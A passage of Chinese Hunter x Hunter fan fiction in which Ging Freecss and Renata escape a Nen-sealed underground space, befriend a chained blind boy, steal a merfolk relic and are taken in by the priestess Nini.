“怎么会这样？”金·富力士吃痛地捂住他的屁股，另一只伸出的手上完全找不到一丝念的踪迹。
他的念呢。
“这整个地下是一个念能力者的空间。应该有什么规则限制了你的念。”蕾娜塔开口解释。“刚才你和妮妮在对峙的时候我就察觉到念的波动了。”
“原来蕾娜塔你早就知道了吗？”金·富力士惊讶地挑起眉毛，拍去衣服上的泥沙来掩盖自己的狼狈。“那我们现在怎么出去呢？”他环绕四周。
周围都是石壁，墙上风信子和人鱼的浮雕栩栩如生，壁龛里点着几支烛火。细微的风从某处缝隙里吹入，带来些许腥臭的腐烂味。
这附近应该有出口。
“不知道。”蕾娜塔摇头。
“那我们刚好可以复盘线索诶。”金·富力士天生乐观，无论在哪里都没有太多沮丧的心情，兴致勃勃地盘着腿坐下，从包里翻出不用的衣服给蕾娜塔铺上，防止弄脏她的裙角。
他的手一抖，带出一张简陋的纸质地图。
“为什么我的包里会有一张地图？”金·富力士睁大眼睛，仔细回忆和这张地图有关的记忆，直到看清对方的手才恍然大悟。“啊，是那个时候，完全没有注意到。”他的一只手拿着地图，另一只手把包里的衣服接着铺在地上。
刚才一直在想着和蕾妮有关的事情，没有注意到妮妮的小动作。
“别说是金，就连我也没注意呢。”蕾娜塔走过来，坐在金·富力士的旁边，拿住地图的下半部分展开地图的另一半。
等等，我们是不是靠得有点太近了。金·富力士屏住呼吸，眼睛不停地在蕾娜塔和他之间来回。
“我的脸上有什么东西吗？”蕾娜塔注意到金的小动作，左手抚上脸颊，疑惑地出声。
“啊、没、没有。”金·富力士连忙摆手，喉头滚动，不自觉咽下一口口水，移开的视线闪烁着。
完全就是心虚的模样嘛。
蕾娜塔把疑惑吞下肚子里，没有追问下去，只是好奇地打量了他一眼。
“找、找到了，我们在这里。”金·富力士指着地图上的小方框，想转移蕾娜塔的目光来掩饰自己的心虚。
蕾娜塔的目光被吸引过去，她看到小方框旁边还有新标注的一个口子。
“这么说来这个地方是有出口的，妮妮是想让我们干什么吗？”他的大拇指摩挲着下巴。
“我们从出来那个房间
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开始，就碰到了重伤的妮妮。她知道灵泉可以治愈所有伤口，那为什么不常常备着一些以防无法行走的情况。好像呆在那里知道我们会来一样。以重伤的姿态降低我们的警戒性，再借救命之恩把我们引到这里，还说我们是人鱼族庆典的祭品…”金·富力士细细分析着一切疑点。
大概过了半小时，他的长篇大论终于结束了。
“嗯，确实。”她附和地点点头。
感觉有点困了。
蕾娜塔眨眨眼缓解酸涩的眼睛。
“不要敷衍我啦蕾娜塔。一点都不上心呢。”金·富力士紧紧盯着蕾娜塔的眼睛控诉道。
“金，你不困吗？”蕾娜塔打了一个哈欠，缓缓道：“有什么事情我们明天再说吧，从上面下来我们可是一分钟都没有闭眼过。就算是你长期在外习惯了这样的生活也要考虑我这个大病初愈的病人呀。”
金·富力士罕见地小小愧疚了一下。
蕾娜塔说完，就心安理得地靠在了金·富力士的肩膀上，不断调试到一个她认为舒服的姿势。丝毫不在意这样亲昵的举动会给金·富力士带来什么负担。
她柔软的黑发擦过金·富力士的脸颊，手肘搭在他的臂弯上。带着点甜味的香气的钻入他的鼻腔，他的身体微不可察的一僵。
“好、好像也是哦。”原本流畅的话语在出口后也变得吞吞吐吐。
回应他的只有耳畔清浅的呼吸声和忽明忽暗的烛光。
在长久的沉默里，慢慢地，他也放松下来。看着身下的影子在风中摇曳。
他们的黑发再一次纠缠到了一起，就连影子都在拥抱着对方。
垂落的眼睫遮掩住他眼底的晦暗。
从上面下来他的精神就一直紧绷着，时时刻刻提防着陷阱，掉到这个有着规矩限制、不能使用念的念空间反倒破罐子破摔起来了。
他的思绪漫无边际地发散，从身旁的少女到周围的环境，甚至想到了他的同伴笃恩。要是笃恩目睹了在这里接二连三的事情指不定要笑话他。然后再跟别人讲天不怕地不怕的遗迹猎人金居然是个纯情大男孩。
想到这些他就忍不住轻声笑了出来。
一切源于蕾娜塔——这个异常的存在。
他也算是理解身为黑暗大陆先行者的东·富力士为什么要用非常谨慎的语气来描述蕾娜塔了。
她的存在就像潘多拉魔盒、伊甸园的毒蛇。一举一动都在诱惑着人们滑向罪恶的深渊，直至无穷地狱。
即使她什么都没有做。
他已经快要不受控制地坠入名为蕾娜塔的泥沼了。
“东…你个骗子。”蕾娜塔小声呓语道。哪怕沉浸梦中，她的睡相也不太安稳，身体快要从肩膀上滑下。
他眼疾手快地拖住她，小心地把她带到自己的怀里，调整出一个适合她的位置。
而他的挣扎，熟睡的少女一无所知。
怎么办啊。
蕾娜塔。
他无声地笑了起来。
16. 经验×幻觉×姐姐
蕾娜塔的睫毛颤了颤，睁开睡意朦胧的眼。
“醒了？”
一块特意拆开一半的压缩饼干递到她的面前。
“我只带了这个，如果饿的话可以将就吃。”金·富力士挠头不好意思道。
“好。”
蕾娜塔想也没想用嘴衔住这块饼干，柔软的嘴唇不小心碰到他的指尖，把饼干从包装里拖出，带入口中咀嚼。
“！！”
与她的自然成对比的是金像是见到洪水猛兽一般连连倒退几步，可疑的绯红晕染他的耳尖。
“怎么了吗？”蕾娜塔不解地问。
金已经不是一次两次这样子了。她这么做有什么不对吗？
“啊、啊没、没事。只是想起在鲸鱼岛养的猫，它有时候叼起食物后会突然抓我一下。蕾娜塔这样做吓了我一跳呢。”金·富力士的右手握拳抵在嘴边。目光不自然地移到一旁。“真的是太犯规了。”他嘟囔道。
“猫咪？”
说到猫咪，蕾娜塔不由地想到了三毛和小黑。
“我也养过猫咪哦。不过性子完全捉摸不透呢。”
尤其是三毛这个变脸猫，小黑倒是很乖，大概是太小了所以很粘人，不过没想到受到伤害的时候它会跳出来。
她像是颇有心得似的点了点头，又接着补充道：“不过它们和我一样都爱吃巧克力球呢。”
“巧克力？”金·富力士惊讶地挑起眉梢。。
“对啊，就是巧克力球啊。不过现在我口袋里已经没有了。”她掏出空空的口袋摆摆手。
“蕾娜塔。”金·富力士一脸复杂的看着她，神情犹豫。
“嗯？”
“猫咪吃了巧克力是会死的。”
“这样吗？基裘和席巴从来没有阻止过我呢。明明基裘也在养猫呢。”她皱起眉头思考。
“可能不是猫，是长得像猫的魔兽吧，或者也有可能是被操作系念能力者控制了。”金·富力士猜测道。
“这么一说确实可能呢。怪不得基裘和席巴总是知道我在哪。”她的右手握拳拍在左手的掌心恍然大悟。
生气、愤怒的情绪都没有浮现在她的脸上。
她不太在意基裘和席巴的背叛，那些理由对她来讲没什么意义。毕竟他们的关系从一开始就不是对等的。
在地下实验室她可是因为他们受了伤，虽然机缘巧合碰到了蕾妮，但如果下次再碰到他们，一定要小小地报复回来。
“呜呜——”
得益于山野中锻炼出的敏感的听觉，让金能够沿着风吹出的细微声音判断走向，从而来到了一处特殊的浮雕前。浮雕的侧面刻着大片顺序打乱的文字的按钮。
有点眼熟。
好像是之前墙壁上的诗歌。
金·富力士按照顺序试探性地按下文字。
浮雕纹丝不动。
不行吗？他含糊地哼出那古怪的调子。
一瞬间燃烧的烛火熄灭了。吱呀一声，浮雕后展开了一个全新的通道，黑漆漆的看不到尽头。
“蕾娜塔，可以走了哦。”他准备回头提醒身后的少女。转身看去，空荡荡的密室只有他一个人的回音。
“蕾娜塔？”他不死心地又唤了一声。
突然，他的肩膀从背后被人拍了一下。金·富力士伸出手下意识想要攻击对方。
“金。”
攻击的动作又因为对方的话语戛然而止，湿热的吐息打在他的脸上，蕾娜塔附在他的耳畔轻声说道。
“我在这里哦。”
“无声无息跑到别人的身后怪吓人的。”金·富力士拍着胸脯缓了一口气。
“你不喜欢这样吗？金？”上扬的尾调隐没在轻轻的喘气之间，她的右手从金·富力士的脖子处开始下滑，顺着胸膛再到腰间短暂的停留，黑发垂落在一旁，一举一动都像是海上蛊惑水手的海妖。
金·富力士转身抓住她的手，牵起，抬高，再弯下腰在手背留下一个吻。
“比起这些我更喜欢这个呢。”他笑道，少女的肢体明显僵硬了一瞬。
随后趁着蕾娜塔愣神，拉开距离，抽出包旁的钓鱼竿狠狠抽向她。
“为什么要这么对我，金？”蕾娜塔的眼眸泛起水花，捂着被抽红的手不可置信地看向金·富力士。
“不要装啦。你根本不是蕾娜塔。”金·富力士毫不客气地揭穿她的假象，持着鱼竿对峙。
空气变得焦灼。
“是吗？”‘蕾娜塔’放下捂着的手，冷眼盯着金·富力士，眼底的寒意像是一把锋利的刀子刺入金·富力士柔软的内心。
昏暗的房间只听得到两人的呼吸声。金·富力士警惕地看着她。
片刻，她轻声笑了。
“我们会再见的。”她的眼睛死死地盯着他，落下这一句话就消失了。
“金？”
蕾娜塔和‘她’消散的身影重合。“发生什么了吗？你一直呆在这里不动。”她疑惑地问道。
“刚刚出现幻觉了。”金·富力士定神，揉了揉酸胀的太阳穴。“现在没事了，我们走吧。”他扯起嘴角笑笑。
那个‘蕾娜塔’是怎么回事。
“好吧。那我走在前面探路吧。你要小心哦。”她的视线略过金·富力士，看向前方。
才踏出一步，整个走廊就亮起了微弱的光晕，各种腐臭夹杂着血腥的味道朝着她涌来。
堪比流星街的垃圾山。
她捂住自己的鼻子，艰难地前进。
“哗啦啦。”一旁的锁链声晃动。
居然还有人吗？她沿着声源看去，一个满脸脏污，瘦瘦小小的男孩蜷缩在角落。微亮的眼眸透露出几分生气。他的四周涂写着大片潦草的血字，血渍上还带着细闪的粼光。
她勉强辨认出姐姐这两个字。
“你叫什么名字？”她好奇地走近一步，男孩反倒缩着头满脸恐惧地往后退。
“不、不要。”他嘴里一直重复着这几个音节，像是某种应激反应。“姐姐、姐姐。你在哪里。”他不断摇着头呢喃，身上浮动着不少的念。
熟悉的情节再次上演，天花板的泥石簌簌而下，有坍塌的趋势。
蕾娜塔面无表情地掸去肩上的沙土。
“听得到吗？小弟弟？”金·富力士半蹲下轻轻拍着男孩的背
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，试图唤醒处于恍惚状态的男孩的神志。
“不、不是我、不是我。”男孩缩成一团，抖得更厉害了。“神明、神明大人、救救我。”他抽噎着祈求神明的垂怜。
头顶掉下的石块越来越多。男孩身上的念波动越来越明显。很显然男孩就是这片空间的主人。为了防止空间全部坍塌，当务之急是先安抚男孩的情绪。
她想到了墙壁上的文字。
“燃烧的火舌席卷疾病，您指尖的红宝石带来永生，我们免于在死神影子里徘徊——”
蕾娜塔模仿金·富力士唱过的歌调轻轻哼着。
都是人鱼族的颂歌了，应该有用吧。她不确定地想。
“姐姐？”男孩抬起头，无神的双眼对上她的红眸。“是姐姐吗？”带着一丝期翼，小心翼翼地问道。
这片空间果然没有再震动下去。
“嗯？”原来看不见吗。
不等她说出什么，男孩已经扑到了她怀里，紧紧地抱着她。“姐姐，小塔好想你。很想很想。”
他原先坐着的地方带出一大片骨头。看大小应该是和他差不多大的人曾经和他在一起，不过只有他活下来了。
不过被当成别人姐姐什么的。
唔。
她轻轻弯起嘴角。
“我也很想你呢小塔。”
蕾娜塔摸摸他的头，把他抱得更紧，两个人都想从对方的怀抱里汲取温度。
“我以为再也见不到姐姐了。小塔一直在这里一直等着姐姐回来。”
“小塔是靠什么来发现姐姐的呢。姐姐明明只是哼了一下歌诶。”
“姐姐的气味是独一无二的。”小塔拉着蕾娜塔的手，用力点点头肯定自己的话。“是柔和的带着点悲哀的月亮的味道。”
金·富力士闻言嗅了嗅。
除了香甜的气味，什么都没有闻出来。
“月亮的味道？小塔真的很厉害呢。姐姐完全想不到。”她抚摸着小塔的头，就像在黑暗大陆对待拿尼加那样。
也不知道拿尼加现在怎么样了。
“才不是，姐姐才是最厉害的。要不是、要不是小塔太弱了……”小塔的声音小了下去，一股酸涩涌上鼻尖。
“……姐姐就不会离开了。”他吸了吸鼻子，眼泪落到地上，留下一个黑色的圆点。
“没关系的小塔。姐姐在这里。”蕾娜塔拭去他眼角的泪，轻柔地抚摸他的脸颊，擦去那些碍眼的脏污。
脑海里的片段不断回放，她对比着记忆里的画面来确定她应该做的行为。
基裘明明那么在乎小野，好不容易见到却是那副表情，语气客套又生硬。
非常拙劣的演技，该让她说什么好。
拿尼加好像没有哭过，只要给一点甜点就能开心很久。
小塔不说话，那她接下来该怎么办呢？
金·富力士看着这幅姐弟情深的画面，深深地叹了一口气。
一个因为好奇心装作姐姐，却一直在走神。
一个沉浸在自己的情绪里，嘴上说着关心姐姐，却只字不问她的近况。
“我们可以走了吗？”他出声打断。
17. 尸体×拥抱×人鱼
“这个男人是？”小塔松开拥抱，紧紧牵着蕾娜塔的手，躲在她的身后，小心地探出一个脑袋、涣散的瞳孔朝着金·富力士的方向。
“？”
金·富力士眨眨眼。
现在才注意到他吗？明明他一直都在这里的好嘛。
不过看小塔很依赖蕾娜塔，由蕾娜塔来介绍他才会相信他吧。
“啊？我一直以为金·富力士的存在很明显呢。”蕾娜塔惊讶地捂住嘴巴。
金·富力士的视线在蕾娜塔和小塔牵着的手上停顿，随后看向故作惊讶的蕾娜塔。
什么叫做存在很明显，是把他当电灯泡吗？他微微瞪大眼睛。
对于金·富力士的反应，蕾娜塔很受用的弯弯眼眸，终于开口介绍道：“这位是金·富力士，一名遗迹猎人，也是我的同伴。”
“听起来好老。肯定比姐姐不知道大了多少岁吧。”小塔吐舌，朝金·富力士扮鬼脸。
“不要乱猜年龄啊，小塔。明明我和蕾娜塔一样大呢。”金·富力士半开玩笑的抱怨道。“不过这里的尸骨是你曾经的同伴吗？”
小塔点点头，神色落寞。“他们因为承受不了死掉了。被我埋在下面。”
承受什么？
为了开发具现化系的念能力？
“那你知道这片空间是怎么回事吗？”
“不知道，从我有记忆开始我就在这里了，怎么了？”小塔诚实地摇头，脸上的表情看不出任何异常。
“既然你们姐弟相聚了，那我们走吧？”金·富力士指向身后的通道，询问道。
一排排整齐的光晕就像怪物的牙齿，露着空荡荡的缝隙，迷途的旅人一旦踏入其中，就会粉身碎骨。
去还是不去？
小塔听见通道里碎石掉落的回声和呜咽的风声，没有拉着蕾娜塔那只手紧紧攥着衣角，内心在不断地作斗争。
“放心哦，姐姐会保护你的。”蕾娜塔握紧小塔颤抖的手，贴心地伸出另一只手抚摸他的头，安抚他的情绪。
就好像她真的是他的姐姐那样。
“那姐姐一定要一直看着我。”小塔的神情犹豫，好半会才吐出话语。
她把小塔双手上的镣铐捏碎，给予他自由。
“好哦。我会一直、一直看着小塔的。谁让我是你的姐姐呢。”蕾娜塔点头承诺，非常自然地代入他人姐姐的角色，一切好像都是那么理所应当。
得了他们肯定回复的金·富力士走在前面，蕾娜塔跟在后面，牵着看不见路的小塔防止他受伤。
他们一路上看到了大大小小的骷髅，有的身下还是鱼尾骨，还有腐烂一半的人鱼尸体，带着浓重的腥臭味，白色的蛆在里面蠕动。与尸体成对比的是他们的表情安详，胸口处紧紧握着的风信子胸针在轻轻晃荡。
光是这些加起来就有两三百的数量。但是按照遗迹的规模来讲，哪怕加上地下的空间也不足以容纳超100的种群。金·富力士在内心判断道。
他借着回头查看后面两人状态，视线从他们的脸上略过。
蕾娜塔一直紧紧锁着眉头，说明这里的臭味已经远超她的预期。而大陆上还有比这臭味弱一些且大范围的地方就是流星街的垃圾山。
小塔不为所动，看表情是早已经习惯了这种如影随形的气味。他应该是知道为什么有那么多尸体的。
金·富力士看了一眼就收回视线，小心避开路旁横七竖八的尸体。
三个人不知道走了多久，嗅觉都快要适应这股臭味的时候。尽头出现了亮光。
知道通道有尽头，金·富力士松了一口气，但心还是悬了起来。
不可能只有那么简单。
“姐姐，我们什么时候可以出去。”没有视野的小野并不清楚情况，他走了很久，漫无尽头的道路不止折磨着他的身体，也折磨着他的心理。
“啊？”
蕾娜塔不是第一次走这种没有尽头的路，比起有没有尽头她更在乎的是一路上怎么和这股臭味抵抗，被突然叫到，她才想起她不只是一个人，于是抬头看到前方的亮光。
“已经看到尽头了，小野。再坚持一会就到了。”她鼓励道。“实在不行我可以抱着你。”
“不、不用了姐姐。”小塔拒绝了她。但下一秒就被路旁的骨头绊倒，摔了一个踉跄。
“没事吧，小塔。”蕾娜塔第一时间就抓住了要倒下的男孩，帮他稳住平衡。
“对不起姐姐，我好像扭到了。”小塔吃痛地捂住受伤的地方，满脸歉意地看向蕾娜塔，眼角泛红，起了水雾。“要不姐姐就把我放在这里吧。我一个人在这里也没关系的。这么多天我也忍受过来了……只不过…我会很想姐姐的…”说到后面他的声音小了下去，话语中的体谅让人听了心疼。
前面的金·富力士听到声音停下脚步回头看到这一幕。
故意的吧？
金·富力士盯着那块却绊倒小塔的骨头。
正常来说这种大小完全绊不倒一个小孩，更别提一个十几岁的男孩。
“没事的。我抱你吧。”蕾娜塔毫不在意地张开手臂，把小塔揽到一旁。
小塔的身体悬空，他预想中的画面没有出现，还没有来得及羞涩，整个人被夹在蕾娜塔的胳膊下面。
他的大脑空白了几秒。
等等？是不是有什么不对。
这个是抱吗？
看到小塔无措的表情，金·富力士在一旁幸灾乐祸地笑出了声。
“嗯？金为什么要笑。”蕾娜塔茫然地看向金·富力士。“有什么不对吗？”她还特意把小塔往上面颠了颠，小塔被吓得睁圆了眼。
虽然可以像抱小野那样抱小塔。但是小塔身上好脏。单只手抱可以减少脏污。这样既抱起小塔尽了姐姐的职务又极大程度保护了自己的衣服，两全其美。
“没事。”金·富力士转过头走在前面。“我们继续走吧。”他的喉间溢出几声藏不住的低笑。
小塔嗫嚅地道了谢，就不说话了。
通往尽头的路不是
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很长，大概走了半小时。越靠近尽头，尸体就少了很多，也不用忍受那刺鼻的气味。
“到了？”金·富力士停下脚步，蕾娜塔迟疑地出声问道。看金·富力士仰头，她也顺着金·富力士的视线抬头望去。
他们的面前是一整片零零碎碎拼接的彩色玻璃，在烛火的照耀下，呈现出不同的色彩，那些色彩在空中的一点交织组成了耀眼的白光。玻璃上方占据着大片黑色的阴影。
金·富力士推测那个阴影是一个大型的物品挡在前面的影子。他眯起眼睛，透过朦胧的玻璃查看内部，里面整体的装饰非常接近教堂氛围，和上方坍塌的遗迹天差地别。
不少类人生物在雕像下祷告，唱着那首颂歌。
那是他从来没见过的生物，上身类人，拥有极为魅惑人心的脸庞，下半身却长着粗壮有力的鱼尾，上面的鳞片还在闪闪发光。
想来这就是人鱼族了。
从那些人鱼的反应来看那个大型物品应该是神像。
而他们所敬仰的神像背后却是上百的尸体和一个被人遗忘的瑟瑟发抖的男孩。
“听说那个异类居然把人类引进来了。”靠近玻璃的黑发人鱼和旁边的金发人鱼窃窃私语。
“哼，引进来又怎样。她照样是个异类。圣水对她毫无反应，女神是不会接受她的。”金发人鱼冷哼一声，打心里瞧不起那些异类。
“把人类带到女神像前参加祭典是她的荣幸，她居然还敢跟长老开条件。”听到了一旁的讨论，红发人鱼插嘴道，眼里闪着咒怨。“那些异类就是一群不识相的疯子。”
“也不知道今年祭典谁来手持圣物。真希望是我。”黑发人鱼看着女神像的方向一脸陶醉。
“别想了…”
三个祷告完的人鱼拖着尾巴走远。
“小塔？你怎么了？”抱着他的蕾娜塔率先察觉出了不对劲。
自从靠近这片玻璃，小塔就没说过话。他的双眼紧闭，额头蒙上一层薄汗，呼吸急促，手脚挥舞着，就好像空气里挣扎的鱼要被夺走了身上所有水分。
“小塔？”蕾娜塔把他放在地上，轻声呼唤着他的名字，见无效之后，她又哼起了那首颂歌。
在少女轻柔的嗓音里，小塔的手脚放松，呼吸渐渐平稳。
“真奇怪呢。这孩子是对这里面的人鱼有应激反应吗。”蕾娜塔好奇地戳戳他的脸。“明明刚才还有说有笑的。”
虽然不知道蕾娜塔是怎么定义这个有说有笑的。但是小塔的问题很明显吧。
“你忘了吗？他被囚禁在那里。除了我们这样的祭品，谁还能这么对待他。不过看他这样是一时半会醒不过来了。”
“真脆弱。”蕾娜塔感慨道。“刚刚听那几个人鱼说人鱼族还存在圣物。金你不好奇吗？”她搓搓手，一脸期待地看着金·富力士。
“是你想要吧。”金·富力士摆手，挑起眉毛。“可以哦。作为祭品，怎么可以缺席祭典呢。”
他们一拍即合，眼里闪烁着雀跃的光芒。
18. 原地等待×被发现×幻觉
“小塔你呆在这里，我们去探路。放心，这里不会有人鱼找到你的。”蕾娜塔的话语还回荡在他的耳畔。
头顶还残留她抚过的温度。他伸出手和那余温重叠。
是被抛弃了吗？
他抱着膝盖，涣散的瞳孔倒映出远去的身影。两个人的脚步很轻，他甚至不知道他们什么时候离开的。
透过单面玻璃的彩光打在脸上微微发热，他转头把整张脸浸在阴影里。
明明说好要一直看着他的。
“地图上居然没有这一块的位置。”蕾娜塔张着地图比对，没有一处和这里对得上，连他们走过来的位置都没有。
“那片念空间是后来出现的，制作这个地图的人应该并不知情。”金·富力士猜测道，他的念到现在都没有恢复。
透过玻璃的光线把他们的影子拉长。
“要不我们找个隐匿的角落把这玻璃砸个洞出来吧。”蕾娜塔停下来挥挥拳头比划，已经迫不及待地要去打碎这片玻璃了。
“动静会不会太大了点。”金·富力士瞄向一旁脆弱的玻璃。“而且我们来的地方是有尸体的，那肯定就有出口。仔细找找说不定就有了。”他四处打量。
“那动静小一点不就好了。我会很温柔地对待这片玻璃的。”蕾娜塔拍拍金·富力士的肩膀示意他放心，非常自信地走向玻璃。
“等——”金·富力士已经眼尖地看到某处异样，想要出声阻止蕾娜塔的行动。
“哗啦。”以蕾娜塔的拳头为中心扩散出一圈圈蛛网般的裂缝。那些细小的碎片没有支撑到一秒就全部掉落。噼里啪啦的掉在她的脚边。
这个洞口刚好可以容纳一人通过。
“这不是还好吗。”她拍拍手，颇为满意地看向里面，准备查看内部的样貌。
只是探出一个脑袋，便意外地对上了一双带着惶恐的红眸，惊疑不定地盯着她和金。
这里居然有人。
要是没记错的话，是之前窃窃私语里面的黑发人鱼。
她惊讶地挑眉，上下打量着这个人鱼。
身上毫无念的波动，感觉很弱。
不过人鱼手上还死死捏着一个小巧精致的匕首。看她这鬼鬼祟祟的模样，不会是人鱼族的圣物吧。
见蕾娜塔的视线落到匕首上，黑发人鱼下意识把拿着匕首的手藏了藏。
是圣物没错了。
“你好？”蕾娜塔试探性地挥手，摆出友好的笑容让自己看上去不那么异常。
而黑发人鱼的直觉强烈告诉她：这个女人是来掠夺圣物的！
“快——”僵在这里的黑色人鱼这才如梦初醒，顾不得暴露自己，转身想要呼喊同伴。
“不可以哦。”蕾娜塔轻声笑道。
人鱼还未说完所有的话语，就被蕾娜塔眼疾手快地捂住嘴巴尽数堵在喉间，在脖颈处劈上一记手刀。身体软软倒在地上，被不少的碎片划伤。
视为珍宝的匕首从手上掉落，在空中转出了一圈完美的弧度。一时不慎，蕾娜塔就被锋利的刀刃划伤，殷红的血珠从刀面滑落、消失。
“实在不行就把发现的人鱼打晕，不就没有人发现了。”蕾娜塔捡起匕首在手中转出了一个漂亮的花，停下来的刀尖指着人鱼对金·富力士补充道。
她细细观察了一番这个匕首，在刀刃和柄的地方用风信子浮雕衔接，像鳞片一样的花纹蔓延刀柄，细看还闪着粼光。尾部刻着几个文字：R—e？？？后面刻着的文字因为过度磨损后辨认不出来了。
她把匕首收起，刚踏出一步，身后的玻璃就发出很大的声响，雪崩似的全碎了。这一下动静惊醒所有沉睡中的人鱼。
“祭品逃出来了，想要盗窃圣物！”不知是谁喊了一句。
离得近的已经赶来教堂门口团团围住，怒视着两人。
“……这个玻璃的质量是不是太差了点。”
“……其实暗门就在旁边。”金·富力士挠了挠自己的脸尴尬道。
蕾娜塔看了看全倒的玻璃墙，回头和金·富力士面面相觑。
为什么不早说啊金。
事已至此那只能…
仅一个眼神，金·富力士就已经明白了她的意思，右手握上背包旁的鱼竿，准备随时战斗。
“三。”他把钓鱼竿朝向人鱼。人鱼也十分紧张地盯着他们。
“二。”人鱼准备防御他们的攻击。
“一。”他的鱼竿已经蓄势待发。
“跑。”话落，她就抬起脚跑路了。
“我已经准备好了。啊？”金·富力士还没有反应过来，捏着鱼竿不知所措。而蕾娜塔已经跑远了。
刚刚不是胸有成竹吗？怎么说跑就跑了。
他愣了一下，但还是跟上了蕾娜塔的脚步。人鱼在意识到被戏耍了以后，在后面拖着尾巴紧追不放。
拖着尾巴也能跑那么快。是平时锻炼出来的吗？既然是鱼，他们在河里会受到鱼饵的吸引吗？
在这种刺激追赶的时候，金·富力士抽空思考了一下人鱼尾巴的问题。
“嘭。”
他低头躲开后面砸过来的东西。
还是先跑吧。
两个人朝着他们来的方向跑去，打算把角落里的小塔带上。
“小塔？小塔？”蕾娜塔没有看到男孩的身影。“怎么不见了。小塔？”她在周围找了一圈，什么痕迹都看不到。
只有她和金走出时的脚印还留在地面，其他什么都没有，就好像小塔是突然消失的一样。
怎么会这样。
蕾娜塔转了一圈。
“姐姐，你说过——你要一直看着我的。”小塔的声音冷不丁地从背后响起，幽幽地附在她的耳边说道。“为什么失信于我！！”
“为什么为什么为什么！”他尖叫着，想要怒吼出心中的不满。
“姐姐，为什么要杀死我。”那道声音又变成了小一的声线，幽怨地低诉，每个方向都环绕着他的声音。
吵死了。
她反手抽出匕首刺去。
“蕾娜塔？！”她听到男生的惊呼。
“蕾娜塔，你这是怎么了？”金·富力士用力钳住她的手腕，差一个呼吸，匕首的
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刀尖就要碰上他的皮肤。
看到金·富力士的脸，蕾娜塔错愕地收回手。
她刚刚是出现幻觉了？怎么会。
后面的人鱼族已经追上来了。把他们两围在中间。
“把你手里的圣物交出来。”为首的金发男人鱼挥舞着手里的武器恐吓道。
“不要。我拿了就是我的。”
“区区一个祭品，真以为你拿着圣物走的出去吗？”
“走不走得出去不是我说了算吗？”
“不知天高地厚的丫头。”金发男人鱼啐了一口，说着就要冲上来和蕾娜塔拼命。
“住手。”人群里一道凌厉的女声喝来。围在一旁的人鱼自动分开一个道路。妮妮在无数眼眸的注视下从那通道走向他们，跟在她后面的也是拥有双腿的人鱼。
“怎么是她。”
“居然是这个异类。”
“她不就是仗着长老的青睐。”
“她怎么在这里。”
“……”
蕾娜塔和金·富力士听到了围观人鱼的小声讨论。那说明之前在教堂那几个人鱼讨论的就是妮妮，她在人鱼里面颇受非议。
是因为没有鱼尾吗？
“这两个祭品是献给女神的。谁敢对女神不敬。”妮妮头一甩，伸出一只手臂挡在他们面前，与之前柔弱的模样大相径庭。那几个有腿的人鱼围在他们身边。
“他们偷了人鱼族的圣物！不该献给女神！”有一道声音在高喊，一群人鱼也跟着附和。“对！他们偷了人鱼族的圣物。不该献给女神！”
“你只是个异类有什么资格来评判。”
“不就是仗着长老有什么了不起。”
一时间所有的舆论都指向妮妮。指责她身为异类却得到长老的青睐。
“我的决定就是长老的决定。所以你们在质疑长老的决定？还是想越俎代庖？”她掏出令牌，声音铿锵有力，像一把出鞘的剑，没有半点退缩。人群里的议论小了下去。毕竟没有人敢质疑长老。
“刚刚是谁说他们身上有圣物的。你们谁看到了？”她接着问道。“还是因为他们和你们口中的异类形态接近，所以就被你们冠上了这顶帽子？别忘了，就算是异类，就算是信仰不同，我们骨子里照样流着一样的血液，我们都来自同一个地方，我们都是人鱼。”
长老有规定，内部歧视是不被允许的。所以那些排挤异类的事情都不在明面上表现出来。人鱼们都安静下来，没有一句可以反驳她的话。
“这两个祭品交给我处置。还有谁有意见吗？”妮妮用冷峻的眼神巡视一圈，所有人人鱼都低下头。
欺软怕硬的东西。她心里冷笑一声。
她挥手示意跟随她而来的人鱼把蕾娜塔和金·富力士带走。
“不如去问问你们之间谁是叛徒吧。”临走前她冷哼一声，意味深长地看向某个角落。“祭品可是才来到这里不久，怎么可能熟悉这里的布局。”
两个外人怎么可能知道人鱼族的秘密，他们之间有叛徒。
她的一句话如平地一声雷炸醒了所有人鱼。
19. 祭司×庆典×祭典？
“好了，祭品就放这吧。”妮妮把蕾娜塔和金·富力士带到一处类似地牢的位置，挥手遣散了跟随她的人鱼。
那几个人鱼没说什么，顺从地离开了。确认他们离得足够远后，她才开口说话。
“又见面了。蕾娜塔小姐和金·富力士先生。”她眼眸里的情绪晦涩难懂，抱着手臂站在一旁。“我再介绍一下自己吧，人鱼族的祭司—妮妮，虽然他们并不认可就是了，不过也很正常。”她自嘲地笑了一下。“他们纯种人鱼就是这样的。”
“人鱼还分血统的吗？”蕾娜塔好奇地问道。
“是哦。人鱼一族繁衍极其困难。所以生下来的纯血人鱼更是珍贵。而我们这些由人鱼和人繁衍而来的拥有双腿的人鱼就被他们视为异类。”妮妮的言语不含一丝温情，冷冰冰地阐述。说到纯血人鱼这一词让她想起了某些不好的记忆又接着补充道：“不过纯血的人鱼其实和地狱里的恶魔也无异。”
信仰神明的虔诚信徒和恶魔无异？
“为什么？”金·富力士追问道，这其中似乎还另有渊源。
“等到了明天的庆典你们就知道了，再忍忍吧，过了今天你们就什么都知道了。在黎明到来之前知道太多也不是什么好事。”对纯种人鱼更多的秘密妮妮闭口不谈。“圣物的事情也不用担心。我已经处理好了。你们拿着会排上用场的。”
无法从正面得到更多消息那只能旁敲侧击。金·富力士选择了迂回的方法来试探妮妮。
“你说的叛徒是怎么回事。”
“纯血人鱼内部有人想要彻底消除异类。他们出不去，所以勾结了外面的人类来帮助他们。”在适当的范围内妮妮把她所知道的信息全盘托出。
“但是很显然，他们接头的人类还没到。你们的出现是意料之外。再加上人鱼内部有规则，不允许纯血人鱼和人类接触。那刚好顺水推舟还可以栽赃到异类身上。”
她摆摆手，显然已经很熟悉纯血人鱼的套路了。
“很奇怪是吧，明明已经迫不及待地想要消除异类，却在某些时刻和利益冲突时靠着异类来承担罪名，享受那些异类带来的成果。既要又要的。”她长长地吐出一口气，像是在发泄心中长久以来的郁闷，半放松地靠在墙边。
但她放松的模样却让金·富力士更加警惕。
“为什么相信我们？”金·富力士深信天下没有免费的午餐，始终对妮妮保持那份戒心。
光是在上面那次掉进坑里就足以证明妮妮并不是完全偏向他们的。更别提她那看似推心置腹的话语，有时候就是裹着糖果的毒药。
况且那时听她和长老之间的对话，在长老手上还有她弟弟的线索，所以她作为被人鱼排斥的异类和纯血人鱼合作。
如果她没有达到目的，那么就意味着她在某些时刻会随时背叛他们。
